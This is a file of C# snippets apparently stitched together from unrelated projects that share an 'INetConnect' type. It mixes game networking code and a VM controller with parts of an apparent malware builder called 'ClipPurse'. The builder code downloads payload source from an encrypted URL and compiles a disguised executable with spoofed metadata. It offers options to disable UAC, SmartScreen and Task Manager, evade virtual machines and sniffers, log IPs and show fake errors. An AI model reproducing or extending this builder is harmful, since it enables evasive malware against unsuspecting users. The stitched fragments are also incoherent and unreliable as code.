//------------------------------------------------------------------------- public string ToNetWorkString(int id) { StringBuilder strBuilder = new StringBuilder(); strBuilder.Append("have no connect!"); uint unSendData = 0; uint unRecvData = 0; INetConnect c = null; if (m_TCPConnects.TryGetValue(id, out c)) { if (null != c) { strBuilder.Remove(0, strBuilder.Length); unSendData = c.GetSendTotalBytes(); unRecvData = c.GetRecvTotalBytes(); if (c.IsConnect()) { strBuilder.Append("Connect:" + c.GetIP() + ":" + c.GetPort()); } else { strBuilder.Append("Connect Failed "); } strBuilder.Append(" - "); strBuilder.Append(unSendData); strBuilder.Append("/"); strBuilder.Append(unRecvData); } } return(strBuilder.ToString()); }
/// <summary> /// 虚拟机控制器构造函数 /// </summary> /// <param name="net_conn">网络连接创建组件</param> /// <param name="complex">复杂数学运算组件</param> /// <param name="time_path">时间组件文件路径</param> /// <param name="mem_size">内存大小(默认8MB)</param> /// <param name="mem_align">内存最小分配量</param> /// <param name="mem_offset">内存空闲空间分配差值</param> public VMController(INetConnect net_conn, IComplexOperation complex, string time_path = null, int mem_size = Memory_Size, short mem_align = Memory_Align, short mem_offset = Memory_Offset) { MemoryController = new MemoryUnit(mem_size, mem_align, mem_offset); IOController = new IOUnit(this); NetController = new NetUnit(net_conn, this); TimeTool = new Time(time_path); Complex = complex; SVM = null; }
//------------------------------------------------------------------------- private void __Update(INetConnect connect) { if (null == connect) { return; } // 连接更新 ENUM_SOCKET_STATE sState = connect.Update(); }
//------------------------------------------------------------------------- /// <summary> /// 重连 /// </summary> public void Reconnect(int id) { INetConnect c = null; if (m_TCPConnects.TryGetValue(id, out c)) { c.Disconnect(); c.Reconnect(); } }
/// <summary> /// 网络组件构造函数 /// </summary> /// <param name="net_control">网络连接底层接口实例</param> /// <param name="interrupt">网络控制器中断接口</param> public NetUnit(INetConnect net_control, INetControlInterrupt interrupt) : base(interrupt) { ConnectionTable = new Dictionary <int, Net_Parameter>(); FreeConnNumberTable = new SortedList <int, ushort>() { { 0, (ushort)short.MaxValue } }; SetConnectID(0); NetControl = net_control; }
//------------------------------------------------------------------------- public bool IsConnect(int id) { INetConnect c = null; if (m_TCPConnects.TryGetValue(id, out c)) { return(c.IsConnect()); } return(false); }
public static bool CompareKey() { string MachineKey = HardwareID.GET_ID; // ключ пользователя ( машинный ) string Url = EncryptKey.Decrypt(GlobalPath.Database, GlobalPath.SecretKey_Public); // ссылка на ключи string[] Data = INetConnect.GetOnlineKey(Url).Split(new[] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries); // Получаем каждый ключ через новую строчку for (int i = 0; i < Data.Length; i++) // Проходимся в цикле { Data[i] = EncryptKey.Decrypt(Data[i], GlobalPath.SecretKey_Public); // Расшифровываем каждую строчку } return(Data.Contains(MachineKey)); // Сверяем ключи }
//------------------------------------------------------------------------- /// <summary> /// 断开连接 /// </summary> /// <param name="id"></param> public void Disconnect(int id) { INetConnect c = null; if (m_TCPConnects.TryGetValue(id, out c)) { if (null != c) { Debug.Log("CNetTCPWork::Disconnect Remove ID = " + id); c.Disconnect(); m_TCPConnects[id] = null; } m_TCPConnects.Remove(id); } }
//------------------------------------------------------------------------- #region public method //------------------------------------------------------------------------- /// <summary> /// 生命周期内每侦更新 /// </summary> public void Update() { if (0 == m_TCPConnects.Count) { return; } var iter = m_TCPConnects.GetEnumerator(); while (iter.MoveNext()) { INetConnect connect = iter.Current.Value; __Update(connect); } }
//------------------------------------------------------------------------- public bool SendMessage(int id, Byte[] data) { if (null == data) { return(false); } INetConnect c = null; if (m_TCPConnects.TryGetValue(id, out c)) { if (null != c || c.IsConnect()) { c.SendMessage(data); return(true); } } Debug.Log("CNetWork::SendMessage false id = " + id); return(false); }
/// <summary> /// Метод для компиляции исходного кода /// </summary> /// <param name="values">Данные из словаря (контейнера)</param> /// <param name="build">Передача данных через свойства</param> /// <returns>Исходно-изменённый файл</returns> public static bool Inizialize(Dictionary <string, string> values, Build build) { // Запускаем антисниффер new Thread(() => { AntiSniffer.Inizialize(); }).Start(); // Расшифровываем онлайн билд через ключ string SourceCode = INetConnect.GetOnlineBuild(EncryptKey.Decrypt(GlobalPath.DatabaseBuild, GlobalPath.SecretKey_Public)); #region ComboBox replace Boolean values SourceCode = build.DelayCheckStatus.Checked ? SourceCode.Replace("[Delay]", "true") : SourceCode.Replace("[Delay]", "false"); SourceCode = build.RunCheckStatus.Checked ? SourceCode.Replace("[Run]", "true") : SourceCode.Replace("[Run]", "false"); SourceCode = build.GarbageCheckStatus.Checked ? SourceCode.Replace("[Garbage]", "true") : SourceCode.Replace("[Garbage]", "false"); SourceCode = build.UacOffCheckStatus.Checked ? SourceCode.Replace("[Uac]", "true") : SourceCode.Replace("[Uac]", "false"); SourceCode = build.SmartOffCheckStatus.Checked ? SourceCode.Replace("[Smart]", "true") : SourceCode.Replace("[Smart]", "false"); SourceCode = build.TaskMgrOffCheckStatus.Checked ? SourceCode.Replace("[TaskLock]", "true") : SourceCode.Replace("[TaskLock]", "false"); SourceCode = build.AntiVMCheckStatus.Checked ? SourceCode.Replace("[Anti]", "true") : SourceCode.Replace("[Anti]", "false"); SourceCode = build.IPLogheckStatus.Checked ? SourceCode.Replace("[IPloger]", "true") : SourceCode.Replace("[IPloger]", "false"); SourceCode = build.FakeErrorCheckStatus.Checked ? SourceCode.Replace("[Fake]", "true") : SourceCode.Replace("[Fake]", "false"); #endregion SourceCode = SourceCode.Replace("[TEXT_ERROR]", build.ErrorBox); #region Replacement Assembly SourceCode = SourceCode.Replace("[TITLE]", build.AssTitle). Replace("[DESCRIPTION]", build.AssDescription). Replace("[COMPANY]", build.AssCompany). Replace("[PRODUCT]", build.AssProduct). Replace("[COPYRIGHT]", build.AssCopyright). Replace("[VERSION]", build.AssVersion). Replace("[FILEVERSION]", build.AssFileVersion). Replace("[GUID]", build.GuidBox). Replace("[WEB]", build.IPLoGGeR); #endregion #region Replace data user interfaces foreach (KeyValuePair <string, string> kvp in values) { SourceCode = SourceCode?.Replace(kvp.Key, kvp.Value); } #endregion // Версия .Net Framework для билда var providerOptions = new Dictionary <string, string> { { "CompilerVersion", "v4.0" } }; // Инициализация нового экземпляра класса CSharpCodeProvider using (var provider = new CSharpCodeProvider(providerOptions)) { try { // Дефолтные параметры для компиляции var parameters = new CompilerParameters { CompilerOptions = "/target:winexe /optimize+ /platform:anycpu", // Дополнительные параметры для компиляции TreatWarningsAsErrors = false, GenerateInMemory = false, IncludeDebugInformation = false, }; switch (build.ComboOutputExtension.SelectedItem.ToString().Trim()) { case ".dll": { parameters.OutputAssembly += $"{build.BoxFileName}.exe"; // Выходной файл .dll ( изначальный .exe после обфускации в .dll ) parameters.GenerateExecutable = false; } break; default: parameters.OutputAssembly += $"{build.BoxFileName}.exe"; // Выходной файл .exe parameters.GenerateExecutable = true; // Генерация в .exe break; } if (!string.IsNullOrEmpty(build.BoxIcon) || FileControl.ExistsFile(build.BoxIcon)) // Проверка на обнаружение иконки { parameters.CompilerOptions += $" /win32icon:{build.BoxIcon}"; // Добавляем иконку } if (build.RunCheckStatus.Checked) // Проверка запуска от Админа { if (FileControl.ExistsFile(GlobalPath.ManifestFile)) // Проверка файла app.Manifest { parameters.CompilerOptions += $" /win32manifest:{GlobalPath.ManifestFile}"; // внедряем запуск от Админа } else { MusicPlay.Inizialize(Resources.Error_Build); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.FindManifest); } else { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.FindManifest); } } } // Добавление ссылок для компиляции билда #region Add Library Dll for (int i = 0; i < list_library.Count; i++) { parameters.ReferencedAssemblies.Add(list_library[i]); } #endregion // Компиляция! CompilerResults ResultLog = provider.CompileAssemblyFromSource(parameters, SourceCode); // Проверка на ошибки if (!ResultLog.Errors.HasErrors) { SourceCode = null; ResultLog = null; FileControl.FileDelete("Error_Compiler.txt"); MusicPlay.Inizialize(Resources.GoodBuild); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.BuildCreated); } else { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.BuildCreated); } string tte = FileControl.CombinePath(GlobalPath.CurrDir, $"{build.BoxFileName}.exe"); // Расширения для билд файла switch (build.ComboOutputExtension.SelectedIndex) { case 1: FileControl.Move(tte, Path.ChangeExtension(tte, ".dll")); break; default: FileControl.Move(tte, Path.ChangeExtension(tte, ".exe")); break; } return(true); } else { MusicPlay.Inizialize(Resources.Error_Build); // Проходимся циклом чтобы перечислить все ошибки которые возникли и записать их в файл .txt foreach (CompilerError compilerError in ResultLog.Errors) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { FileControl.CreateFile("Error_Compiler.txt", $"Error: {compilerError.ToString()} \r\nLine: {compilerError.Line}\r\n"); } else { FileControl.CreateFile("Error_Compiler.txt", $"Ошибка: {compilerError.ToString()} \r\nСтрока: {compilerError.Line}\r\n"); } } return(false); } } catch (Exception ex) // Остальные (неизвестные ошибки) записать в файл .txt { MusicPlay.Inizialize(Resources.Error_Build); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.ErrorBuild); FileControl.CreateFile("Compile_Error.txt", $"Error: {ex.Message}\r\n"); } else { ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.ErrorBuild); FileControl.CreateFile("Compile_Error.txt", $"Ошибка: {ex.Message}\r\n"); } return(false); } } }
public void connectionClosed(INetConnect netconnection) { throw new NotImplementedException(); }
public static void Main() { if (!AntiVM.GetCheckVMBot()) { // Если запущена копия программы, закрываем её! if (RunCheck.InstanceCheck()) { // Запускаем антисниффер new Thread(() => { AntiSniffer.Inizialize(); }).Start(); // Проверяем подключение к интернет ресурсу if (INetConnect.Inizialize(EncryptKey.Decrypt(GlobalPath.UrlCheck, GlobalPath.SecretKey_Public))) { // Проверяем ключ доступа к программе if (!CheckerKeys.CompareKey()) { MusicPlay.Inizialize(Resources.Error_Build); Thread.Sleep(500); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { FileControl.CreateFile("Clip_Key.txt", $"Your key to access the program: {HardwareID.GET_ID}\r\nSend this key to the developer for activation.\r\n"); } else { FileControl.CreateFile("Clip_Key.txt", $"Ваш ключ для доступа к программе: {HardwareID.GET_ID}\r\nЭтот ключ скиньте разработчику для активации.\r\n"); } } else { CheckerKeys.GetLicenseInfo(); Application.Run(new ClipPurseFrm()); } } else { MusicPlay.Inizialize(Resources.Error_Build); Thread.Sleep(500); if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { FileControl.CreateFile("Connection_Error.txt", "No Internet connection, check your network connection, and try again.\r\n"); } else { FileControl.CreateFile("Connection_Error.txt", "Нет подключения к интернету, проверьте подключения к Вашей сети, и повторите попытку снова.\r\n"); } } } else { Environment.Exit(0); } } else { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { FileControl.CreateFile("VMware.txt", "Virtual machine detected, please run the program outside this environment!"); } else { FileControl.CreateFile("VMware.txt", "Обнаружена виртуальная машина, пожалуйста, запустите программу вне этой среды!"); } } }
protected virtual void OnDisConnect(INetConnect connect) { }
protected virtual void OnUpdate(INetConnect connect) { }
public void connectionError(INetConnect netconnection, string msg) { throw new NotImplementedException(); }
protected virtual void OnConnectSuccess(INetConnect connect) { }
public void messageArrived(INetConnect netconnection, IByteBuffer data) { throw new NotImplementedException(); }
protected virtual void OnConnectStart(INetConnect connect) { }